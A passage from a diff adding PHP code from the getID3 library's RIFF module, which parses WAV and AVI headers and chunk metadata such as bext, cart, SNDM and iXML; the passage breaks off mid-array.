+		$thisfile_riff_video       = &$thisfile_riff['video'];
+
+		$Original['avdataoffset'] = $info['avdataoffset'];
+		$Original['avdataend']    = $info['avdataend'];
+
+		$this->fseek($info['avdataoffset']);
+		$RIFFheader = $this->fread(12);
+		$offset = $this->ftell();
+		$RIFFtype    = substr($RIFFheader, 0, 4);
+		$RIFFsize    = substr($RIFFheader, 4, 4);
+		$RIFFsubtype = substr($RIFFheader, 8, 4);
+
+		switch ($RIFFtype) {
+
+			case 'FORM':  // AIFF, AIFC
+				//$info['fileformat']   = 'aiff';
+				$this->container = 'aiff';
+				$thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize);
+				$thisfile_riff[$RIFFsubtype]  = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4));
+				break;
+
+			case 'RIFF':  // AVI, WAV, etc
+			case 'SDSS':  // SDSS is identical to RIFF, just renamed. Used by SmartSound QuickTracks (www.smartsound.com)
+			case 'RMP3':  // RMP3 is identical to RIFF, just renamed. Used by [unknown program] when creating RIFF-MP3s
+				//$info['fileformat']   = 'riff';
+				$this->container = 'riff';
+				$thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize);
+				if ($RIFFsubtype == 'RMP3') {
+					// RMP3 is identical to WAVE, just renamed. Used by [unknown program] when creating RIFF-MP3s
+					$RIFFsubtype = 'WAVE';
+				}
+				if ($RIFFsubtype != 'AMV ') {
+					// AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size
+					// Handled separately in ParseRIFFAMV()
+					$thisfile_riff[$RIFFsubtype]  = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4));
+				}
+				if (($info['avdataend'] - $info['filesize']) == 1) {
+					// LiteWave appears to incorrectly *not* pad actual output file
+					// to nearest WORD boundary so may appear to be short by one
+					// byte, in which case - skip warning
+					$info['avdataend'] = $info['filesize'];
+				}
+
+				$nextRIFFoffset = $Original['avdataoffset'] + 8 + $thisfile_riff['header_size']; // 8 = "RIFF" + 32-bit offset
+				while ($nextRIFFoffset < min($info['filesize'], $info['avdataend'])) {
+					try {
+						$this->fseek($nextRIFFoffset);
+					} catch (getid3_exception $e) {
+						if ($e->getCode() == 10) {
+							//$this->warning('RIFF parser: '.$e->getMessage());
+							$this->error('AVI extends beyond '.round(PHP_INT_MAX / 1073741824).'GB and PHP filesystem functions cannot read that far, playtime may be wrong');
+							$this->warning('[avdataend] value may be incorrect, multiple AVIX chunks may be present');
+							break;
+						} else {
+							throw $e;
+						}
+					}
+					$nextRIFFheader = $this->fread(12);
+					if ($nextRIFFoffset == ($info['avdataend'] - 1)) {
+						if (substr($nextRIFFheader, 0, 1) == "\x00") {
+							// RIFF padded to WORD boundary, we're actually already at the end
+							break;
+						}
+					}
+					$nextRIFFheaderID =                         substr($nextRIFFheader, 0, 4);
+					$nextRIFFsize     = $this->EitherEndian2Int(substr($nextRIFFheader, 4, 4));
+					$nextRIFFtype     =                         substr($nextRIFFheader, 8, 4);
+					$chunkdata = array();
+					$chunkdata['offset'] = $nextRIFFoffset + 8;
+					$chunkdata['size']   = $nextRIFFsize;
+					$nextRIFFoffset = $chunkdata['offset'] + $chunkdata['size'];
+
+					switch ($nextRIFFheaderID) {
+						case 'RIFF':
+							$chunkdata['chunks'] = $this->ParseRIFF($chunkdata['offset'] + 4, $nextRIFFoffset);
+							if (!isset($thisfile_riff[$nextRIFFtype])) {
+								$thisfile_riff[$nextRIFFtype] = array();
+							}
+							$thisfile_riff[$nextRIFFtype][] = $chunkdata;
+							break;
+
+						case 'AMV ':
+							unset($info['riff']);
+							$info['amv'] = $this->ParseRIFFAMV($chunkdata['offset'] + 4, $nextRIFFoffset);
+							break;
+
+						case 'JUNK':
+							// ignore
+							$thisfile_riff[$nextRIFFheaderID][] = $chunkdata;
+							break;
+
+						case 'IDVX':
+							$info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunkdata['size']));
+							break;
+
+						default:
+							if ($info['filesize'] == ($chunkdata['offset'] - 8 + 128)) {
+								$DIVXTAG = $nextRIFFheader.$this->fread(128 - 12);
+								if (substr($DIVXTAG, -7) == 'DIVXTAG') {
+									// DIVXTAG is supposed to be inside an IDVX chunk in a LIST chunk, but some bad encoders just slap it on the end of a file
+									$this->warning('Found wrongly-structured DIVXTAG at offset '.($this->ftell() - 128).', parsing anyway');
+									$info['divxtag']['comments'] = self::ParseDIVXTAG($DIVXTAG);
+									break 2;
+								}
+							}
+							$this->warning('Expecting "RIFF|JUNK|IDVX" at '.$nextRIFFoffset.', found "'.$nextRIFFheaderID.'" ('.getid3_lib::PrintHexBytes($nextRIFFheaderID).') - skipping rest of file');
+							break 2;
+
+					}
+
+				}
+				if ($RIFFsubtype == 'WAVE') {
+					$thisfile_riff_WAVE = &$thisfile_riff['WAVE'];
+				}
+				break;
+
+			default:
+				$this->error('Cannot parse RIFF (this is maybe not a RIFF / WAV / AVI file?) - expecting "FORM|RIFF|SDSS|RMP3" found "'.$RIFFsubtype.'" instead');
+				//unset($info['fileformat']);
+				return false;
+		}
+
+		$streamindex = 0;
+		switch ($RIFFsubtype) {
+
+			// http://en.wikipedia.org/wiki/Wav
+			case 'WAVE':
+				$info['fileformat'] = 'wav';
+
+				if (empty($thisfile_audio['bitrate_mode'])) {
+					$thisfile_audio['bitrate_mode'] = 'cbr';
+				}
+				if (empty($thisfile_audio_dataformat)) {
+					$thisfile_audio_dataformat = 'wav';
+				}
+
+				if (isset($thisfile_riff_WAVE['data'][0]['offset'])) {
+					$info['avdataoffset'] = $thisfile_riff_WAVE['data'][0]['offset'] + 8;
+					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff_WAVE['data'][0]['size'];
+				}
+				if (isset($thisfile_riff_WAVE['fmt '][0]['data'])) {
+
+					$thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($thisfile_riff_WAVE['fmt '][0]['data']);
+					$thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag'];
+					if (!isset($thisfile_riff_audio[$streamindex]['bitrate']) || ($thisfile_riff_audio[$streamindex]['bitrate'] == 0)) {
+						$this->error('Corrupt RIFF file: bitrate_audio == zero');
+						return false;
+					}
+					$thisfile_riff_raw['fmt '] = $thisfile_riff_audio[$streamindex]['raw'];
+					unset($thisfile_riff_audio[$streamindex]['raw']);
+					$thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex];
+
+					$thisfile_audio = getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]);
+					if (substr($thisfile_audio['codec'], 0, strlen('unknown: 0x')) == 'unknown: 0x') {
+						$this->warning('Audio codec = '.$thisfile_audio['codec']);
+					}
+					$thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate'];
+
+					if (empty($info['playtime_seconds'])) { // may already be set (e.g. DTS-WAV)
+						$info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $thisfile_audio['bitrate']);
+					}
+
+					$thisfile_audio['lossless'] = false;
+					if (isset($thisfile_riff_WAVE['data'][0]['offset']) && isset($thisfile_riff_raw['fmt ']['wFormatTag'])) {
+						switch ($thisfile_riff_raw['fmt ']['wFormatTag']) {
+
+							case 0x0001:  // PCM
+								$thisfile_audio['lossless'] = true;
+								break;
+
+							case 0x2000:  // AC-3
+								$thisfile_audio_dataformat = 'ac3';
+								break;
+
+							default:
+								// do nothing
+								break;
+
+						}
+					}
+					$thisfile_audio['streams'][$streamindex]['wformattag']   = $thisfile_audio['wformattag'];
+					$thisfile_audio['streams'][$streamindex]['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
+					$thisfile_audio['streams'][$streamindex]['lossless']     = $thisfile_audio['lossless'];
+					$thisfile_audio['streams'][$streamindex]['dataformat']   = $thisfile_audio_dataformat;
+				}
+
+				if (isset($thisfile_riff_WAVE['rgad'][0]['data'])) {
+
+					// shortcuts
+					$rgadData = &$thisfile_riff_WAVE['rgad'][0]['data'];
+					$thisfile_riff_raw['rgad']    = array('track'=>array(), 'album'=>array());
+					$thisfile_riff_raw_rgad       = &$thisfile_riff_raw['rgad'];
+					$thisfile_riff_raw_rgad_track = &$thisfile_riff_raw_rgad['track'];
+					$thisfile_riff_raw_rgad_album = &$thisfile_riff_raw_rgad['album'];
+
+					$thisfile_riff_raw_rgad['fPeakAmplitude']      = getid3_lib::LittleEndian2Float(substr($rgadData, 0, 4));
+					$thisfile_riff_raw_rgad['nRadioRgAdjust']      =        $this->EitherEndian2Int(substr($rgadData, 4, 2));
+					$thisfile_riff_raw_rgad['nAudiophileRgAdjust'] =        $this->EitherEndian2Int(substr($rgadData, 6, 2));
+
+					$nRadioRgAdjustBitstring      = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nRadioRgAdjust']), 16, '0', STR_PAD_LEFT);
+					$nAudiophileRgAdjustBitstring = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nAudiophileRgAdjust']), 16, '0', STR_PAD_LEFT);
+					$thisfile_riff_raw_rgad_track['name']       = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 0, 3));
+					$thisfile_riff_raw_rgad_track['originator'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 3, 3));
+					$thisfile_riff_raw_rgad_track['signbit']    = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 6, 1));
+					$thisfile_riff_raw_rgad_track['adjustment'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 7, 9));
+					$thisfile_riff_raw_rgad_album['name']       = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 0, 3));
+					$thisfile_riff_raw_rgad_album['originator'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 3, 3));
+					$thisfile_riff_raw_rgad_album['signbit']    = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 6, 1));
+					$thisfile_riff_raw_rgad_album['adjustment'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 7, 9));
+
+					$thisfile_riff['rgad']['peakamplitude'] = $thisfile_riff_raw_rgad['fPeakAmplitude'];
+					if (($thisfile_riff_raw_rgad_track['name'] != 0) && ($thisfile_riff_raw_rgad_track['originator'] != 0)) {
+						$thisfile_riff['rgad']['track']['name']            = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_track['name']);
+						$thisfile_riff['rgad']['track']['originator']      = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_track['originator']);
+						$thisfile_riff['rgad']['track']['adjustment']      = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_track['adjustment'], $thisfile_riff_raw_rgad_track['signbit']);
+					}
+					if (($thisfile_riff_raw_rgad_album['name'] != 0) && ($thisfile_riff_raw_rgad_album['originator'] != 0)) {
+						$thisfile_riff['rgad']['album']['name']       = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_album['name']);
+						$thisfile_riff['rgad']['album']['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_album['originator']);
+						$thisfile_riff['rgad']['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_album['adjustment'], $thisfile_riff_raw_rgad_album['signbit']);
+					}
+				}
+
+				if (isset($thisfile_riff_WAVE['fact'][0]['data'])) {
+					$thisfile_riff_raw['fact']['NumberOfSamples'] = $this->EitherEndian2Int(substr($thisfile_riff_WAVE['fact'][0]['data'], 0, 4));
+
+					// This should be a good way of calculating exact playtime,
+					// but some sample files have had incorrect number of samples,
+					// so cannot use this method
+
+					// if (!empty($thisfile_riff_raw['fmt ']['nSamplesPerSec'])) {
+					//     $info['playtime_seconds'] = (float) $thisfile_riff_raw['fact']['NumberOfSamples'] / $thisfile_riff_raw['fmt ']['nSamplesPerSec'];
+					// }
+				}
+				if (!empty($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'])) {
+					$thisfile_audio['bitrate'] = getid3_lib::CastAsInt($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'] * 8);
+				}
+
+				if (isset($thisfile_riff_WAVE['bext'][0]['data'])) {
+					// shortcut
+					$thisfile_riff_WAVE_bext_0 = &$thisfile_riff_WAVE['bext'][0];
+
+					$thisfile_riff_WAVE_bext_0['title']          =                         trim(substr($thisfile_riff_WAVE_bext_0['data'],   0, 256));
+					$thisfile_riff_WAVE_bext_0['author']         =                         trim(substr($thisfile_riff_WAVE_bext_0['data'], 256,  32));
+					$thisfile_riff_WAVE_bext_0['reference']      =                         trim(substr($thisfile_riff_WAVE_bext_0['data'], 288,  32));
+					$thisfile_riff_WAVE_bext_0['origin_date']    =                              substr($thisfile_riff_WAVE_bext_0['data'], 320,  10);
+					$thisfile_riff_WAVE_bext_0['origin_time']    =                              substr($thisfile_riff_WAVE_bext_0['data'], 330,   8);
+					$thisfile_riff_WAVE_bext_0['time_reference'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 338,   8));
+					$thisfile_riff_WAVE_bext_0['bwf_version']    = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 346,   1));
+					$thisfile_riff_WAVE_bext_0['reserved']       =                              substr($thisfile_riff_WAVE_bext_0['data'], 347, 254);
+					$thisfile_riff_WAVE_bext_0['coding_history'] =         explode("\r\n", trim(substr($thisfile_riff_WAVE_bext_0['data'], 601)));
+					if (preg_match('#^([0-9]{4}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_date'], $matches_bext_date)) {
+						if (preg_match('#^([0-9]{2}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_time'], $matches_bext_time)) {
+							list($dummy, $bext_timestamp['year'], $bext_timestamp['month'],  $bext_timestamp['day'])    = $matches_bext_date;
+							list($dummy, $bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second']) = $matches_bext_time;
+							$thisfile_riff_WAVE_bext_0['origin_date_unix'] = gmmktime($bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second'], $bext_timestamp['month'], $bext_timestamp['day'], $bext_timestamp['year']);
+						} else {
+							$this->warning('RIFF.WAVE.BEXT.origin_time is invalid');
+						}
+					} else {
+						$this->warning('RIFF.WAVE.BEXT.origin_date is invalid');
+					}
+					$thisfile_riff['comments']['author'][] = $thisfile_riff_WAVE_bext_0['author'];
+					$thisfile_riff['comments']['title'][]  = $thisfile_riff_WAVE_bext_0['title'];
+				}
+
+				if (isset($thisfile_riff_WAVE['MEXT'][0]['data'])) {
+					// shortcut
+					$thisfile_riff_WAVE_MEXT_0 = &$thisfile_riff_WAVE['MEXT'][0];
+
+					$thisfile_riff_WAVE_MEXT_0['raw']['sound_information']      = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 0, 2));
+					$thisfile_riff_WAVE_MEXT_0['flags']['homogenous']           = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0001);
+					if ($thisfile_riff_WAVE_MEXT_0['flags']['homogenous']) {
+						$thisfile_riff_WAVE_MEXT_0['flags']['padding']          = ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0002) ? false : true;
+						$thisfile_riff_WAVE_MEXT_0['flags']['22_or_44']         =        (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0004);
+						$thisfile_riff_WAVE_MEXT_0['flags']['free_format']      =        (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0008);
+
+						$thisfile_riff_WAVE_MEXT_0['nominal_frame_size']        = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 2, 2));
+					}
+					$thisfile_riff_WAVE_MEXT_0['anciliary_data_length']         = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 6, 2));
+					$thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def']     = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 8, 2));
+					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_left']  = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0001);
+					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_free']  = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0002);
+					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_right'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0004);
+				}
+
+				if (isset($thisfile_riff_WAVE['cart'][0]['data'])) {
+					// shortcut
+					$thisfile_riff_WAVE_cart_0 = &$thisfile_riff_WAVE['cart'][0];
+
+					$thisfile_riff_WAVE_cart_0['version']              =                              substr($thisfile_riff_WAVE_cart_0['data'],   0,  4);
+					$thisfile_riff_WAVE_cart_0['title']                =                         trim(substr($thisfile_riff_WAVE_cart_0['data'],   4, 64));
+					$thisfile_riff_WAVE_cart_0['artist']               =                         trim(substr($thisfile_riff_WAVE_cart_0['data'],  68, 64));
+					$thisfile_riff_WAVE_cart_0['cut_id']               =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 132, 64));
+					$thisfile_riff_WAVE_cart_0['client_id']            =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 196, 64));
+					$thisfile_riff_WAVE_cart_0['category']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 260, 64));
+					$thisfile_riff_WAVE_cart_0['classification']       =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 324, 64));
+					$thisfile_riff_WAVE_cart_0['out_cue']              =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 388, 64));
+					$thisfile_riff_WAVE_cart_0['start_date']           =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 452, 10));
+					$thisfile_riff_WAVE_cart_0['start_time']           =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 462,  8));
+					$thisfile_riff_WAVE_cart_0['end_date']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 470, 10));
+					$thisfile_riff_WAVE_cart_0['end_time']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 480,  8));
+					$thisfile_riff_WAVE_cart_0['producer_app_id']      =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 488, 64));
+					$thisfile_riff_WAVE_cart_0['producer_app_version'] =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 552, 64));
+					$thisfile_riff_WAVE_cart_0['user_defined_text']    =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 616, 64));
+					$thisfile_riff_WAVE_cart_0['zero_db_reference']    = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 680,  4), true);
+					for ($i = 0; $i < 8; $i++) {
+						$thisfile_riff_WAVE_cart_0['post_time'][$i]['usage_fourcc'] =                  substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8), 4);
+						$thisfile_riff_WAVE_cart_0['post_time'][$i]['timer_value']  = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8) + 4, 4));
+					}
+					$thisfile_riff_WAVE_cart_0['url']              =                 trim(substr($thisfile_riff_WAVE_cart_0['data'],  748, 1024));
+					$thisfile_riff_WAVE_cart_0['tag_text']         = explode("\r\n", trim(substr($thisfile_riff_WAVE_cart_0['data'], 1772)));
+
+					$thisfile_riff['comments']['artist'][] = $thisfile_riff_WAVE_cart_0['artist'];
+					$thisfile_riff['comments']['title'][]  = $thisfile_riff_WAVE_cart_0['title'];
+				}
+
+				if (isset($thisfile_riff_WAVE['SNDM'][0]['data'])) {
+					// SoundMiner metadata
+
+					// shortcuts
+					$thisfile_riff_WAVE_SNDM_0      = &$thisfile_riff_WAVE['SNDM'][0];
+					$thisfile_riff_WAVE_SNDM_0_data = &$thisfile_riff_WAVE_SNDM_0['data'];
+					$SNDM_startoffset = 0;
+					$SNDM_endoffset   = $thisfile_riff_WAVE_SNDM_0['size'];
+
+					while ($SNDM_startoffset < $SNDM_endoffset) {
+						$SNDM_thisTagOffset = 0;
+						$SNDM_thisTagSize      = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4));
+						$SNDM_thisTagOffset += 4;
+						$SNDM_thisTagKey       =                           substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4);
+						$SNDM_thisTagOffset += 4;
+						$SNDM_thisTagDataSize  = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2));
+						$SNDM_thisTagOffset += 2;
+						$SNDM_thisTagDataFlags = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2));
+						$SNDM_thisTagOffset += 2;
+						$SNDM_thisTagDataText =                            substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, $SNDM_thisTagDataSize);
+						$SNDM_thisTagOffset += $SNDM_thisTagDataSize;
+
+						if ($SNDM_thisTagSize != (4 + 4 + 2 + 2 + $SNDM_thisTagDataSize)) {
+							$this->warning('RIFF.WAVE.SNDM.data contains tag not expected length (expected: '.$SNDM_thisTagSize.', found: '.(4 + 4 + 2 + 2 + $SNDM_thisTagDataSize).') at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')');
+							break;
+						} elseif ($SNDM_thisTagSize <= 0) {
+							$this->warning('RIFF.WAVE.SNDM.data contains zero-size tag at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')');
+							break;
+						}
+						$SNDM_startoffset += $SNDM_thisTagSize;
+
+						$thisfile_riff_WAVE_SNDM_0['parsed_raw'][$SNDM_thisTagKey] = $SNDM_thisTagDataText;
+						if ($parsedkey = self::waveSNDMtagLookup($SNDM_thisTagKey)) {
+							$thisfile_riff_WAVE_SNDM_0['parsed'][$parsedkey] = $SNDM_thisTagDataText;
+						} else {
+							$this->warning('RIFF.WAVE.SNDM contains unknown tag "'.$SNDM_thisTagKey.'" at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')');
+						}
+					}
+
+					$tagmapping = array(
+						'tracktitle'=>'title',
+						'category'  =>'genre',
+						'cdtitle'   =>'album',
+						'tracktitle'=>'title',
+					);
+					foreach ($tagmapping as $fromkey => $tokey) {
+						if (isset($thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey])) {
+							$thisfile_riff['comments'][$tokey][] = $thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey];
+						}
+					}
+				}
+
+				if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) {
+					// requires functions simplexml_load_string and get_object_vars
+					if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) {
+						$thisfile_riff_WAVE['iXML'][0]['parsed'] = $parsedXML;
+						if (isset($parsedXML['SPEED']['MASTER_SPEED'])) {
+							@list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['MASTER_SPEED']);
+							$thisfile_riff_WAVE['iXML'][0]['master_speed'] = $numerator / ($denominator ? $denominator : 1000);
+						}
+						if (isset($parsedXML['SPEED']['TIMECODE_RATE'])) {
+							@list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['TIMECODE_RATE']);
+							$thisfile_riff_WAVE['iXML'][0]['timecode_rate'] = $numerator / ($denominator ? $denominator : 1000);
+						}
+						if (isset($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO']) && !empty($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) && !empty($thisfile_riff_WAVE['iXML'][0]['timecode_rate'])) {
+							$samples_since_midnight = floatval(ltrim($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_HI'].$parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO'], '0'));
+							$timestamp_sample_rate = (is_array($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) ? max($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) : $parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']); // XML could possibly contain more than one TIMESTAMP_SAMPLE_RATE tag, returning as array instead of integer [why? does it make sense? perhaps doesn't matter but getID3 needs to deal with it] - see https://github.com/JamesHeinrich/getID3/issues/105
+							$thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] = $samples_since_midnight / $timestamp_sample_rate;
+							$h = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds']       / 3600);
+							$m = floor(($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600))      / 60);
+							$s = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60));
+							$f =       ($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60) - $s) * $thisfile_riff_WAVE['iXML'][0]['timecode_rate'];
+							$thisfile_riff_WAVE['iXML'][0]['timecode_string']       = sprintf('%02d:%02d:%02d:%05.2f', $h, $m, $s,       $f);
+							$thisfile_riff_WAVE['iXML'][0]['timecode_string_round'] = sprintf('%02d:%02d:%02d:%02d',   $h, $m, $s, round($f));
+							unset($samples_since_midnight, $timestamp_sample_rate, $h, $m, $s, $f);
+						}
+						unset($parsedXML);
+					}
+				}
+
+
+
+				if (!isset($thisfile_audio['bitrate']) && isset($thisfile_riff_audio[$streamindex]['bitrate'])) {
+					$thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate'];
+					$info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $thisfile_audio['bitrate']);
+				}
+
+				if (!empty($info['wavpack'])) {
+					$thisfile_audio_dataformat = 'wavpack';
+					$thisfile_audio['bitrate_mode'] = 'vbr';
+					$thisfile_audio['encoder']      = 'WavPack v'.$info['wavpack']['version'];
+
+					// Reset to the way it was - RIFF parsing will have messed this up
+					$info['avdataend']        = $Original['avdataend'];
+					$thisfile_audio['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
+
+					$this->fseek($info['avdataoffset'] - 44);
+					$RIFFdata = $this->fread(44);
+					$OrignalRIFFheaderSize = getid3_lib::LittleEndian2Int(substr($RIFFdata,  4, 4)) +  8;
+					$OrignalRIFFdataSize   = getid3_lib::LittleEndian2Int(substr($RIFFdata, 40, 4)) + 44;
+
+					if ($OrignalRIFFheaderSize > $OrignalRIFFdataSize) {
+						$info['avdataend'] -= ($OrignalRIFFheaderSize - $OrignalRIFFdataSize);
+						$this->fseek($info['avdataend']);
+						$RIFFdata .= $this->fread($OrignalRIFFheaderSize - $OrignalRIFFdataSize);
+					}
+
+					// move the data chunk after all other chunks (if any)
+					// so that the RIFF parser doesn't see EOF when trying
+					// to skip over the data chunk
+					$RIFFdata = substr($RIFFdata, 0, 36).substr($RIFFdata, 44).substr($RIFFdata, 36, 8);
+					$getid3_riff = new getid3_riff($this->getid3);
+					$getid3_riff->ParseRIFFdata($RIFFdata);
+					unset($getid3_riff);
+				}
+
+				if (isset($thisfile_riff_raw['fmt ']['wFormatTag'])) {
+					switch ($thisfile_riff_raw['fmt ']['wFormatTag']) {
+						case 0x0001: // PCM
+							if (!empty($info['ac3'])) {
+								// Dolby Digital WAV files masquerade as PCM-WAV, but they're not
+								$thisfile_audio['wformattag']  = 0x2000;
+								$thisfile_audio['codec']       = self::wFormatTagLookup($thisfile_audio['wformattag']);
+								$thisfile_audio['lossless']    = false;
+								$thisfile_audio['bitrate']     = $info['ac3']['bitrate'];
+								$thisfile_audio['sample_rate'] = $info['ac3']['sample_rate'];
+							}
+							if (!empty($info['dts'])) {
+								// Dolby DTS files masquerade as PCM-WAV, but they're not
+								$thisfile_audio['wformattag']  = 0x2001;
+								$thisfile_audio['codec']       = self::wFormatTagLookup($thisfile_audio['wformattag']);
+								$thisfile_audio['lossless']    = false;
+								$thisfile_audio['bitrate']     = $info['dts']['bitrate'];
+								$thisfile_audio['sample_rate'] = $info['dts']['sample_rate'];
+							}
+							break;
+						case 0x08AE: // ClearJump LiteWave
+							$thisfile_audio['bitrate_mode'] = 'vbr';
+							$thisfile_audio_dataformat   = 'litewave';
+
+							//typedef struct tagSLwFormat {
+							//  WORD    m_wCompFormat;     // low byte defines compression method, high byte is compression flags
+							//  DWORD   m_dwScale;         // scale factor for lossy compression
+							//  DWORD   m_dwBlockSize;     // number of samples in encoded blocks
+							//  WORD    m_wQuality;        // alias for the scale factor
+							//  WORD    m_wMarkDistance;   // distance between marks in bytes
+							//  WORD    m_wReserved;
+							//
+							//  //following paramters are ignored if CF_FILESRC is not set
+							//  DWORD   m_dwOrgSize;       // original file size in bytes
+							//  WORD    m_bFactExists;     // indicates if 'fact' chunk exists in the original file
+							//  DWORD   m_dwRiffChunkSize; // riff chunk size in the original file
+							//
+							//  PCMWAVEFORMAT m_OrgWf;     // original wave format
+							// }SLwFormat, *PSLwFormat;
+
+							// shortcut
+							$thisfile_riff['litewave']['raw'] = array();
+							$riff_litewave     = &$thisfile_riff['litewave'];
+							$riff_litewave_raw = &$riff_litewave['raw'];
+
+							$flags = array(
+								'compression_method' => 1,
+								'compression_flags'  => 1,
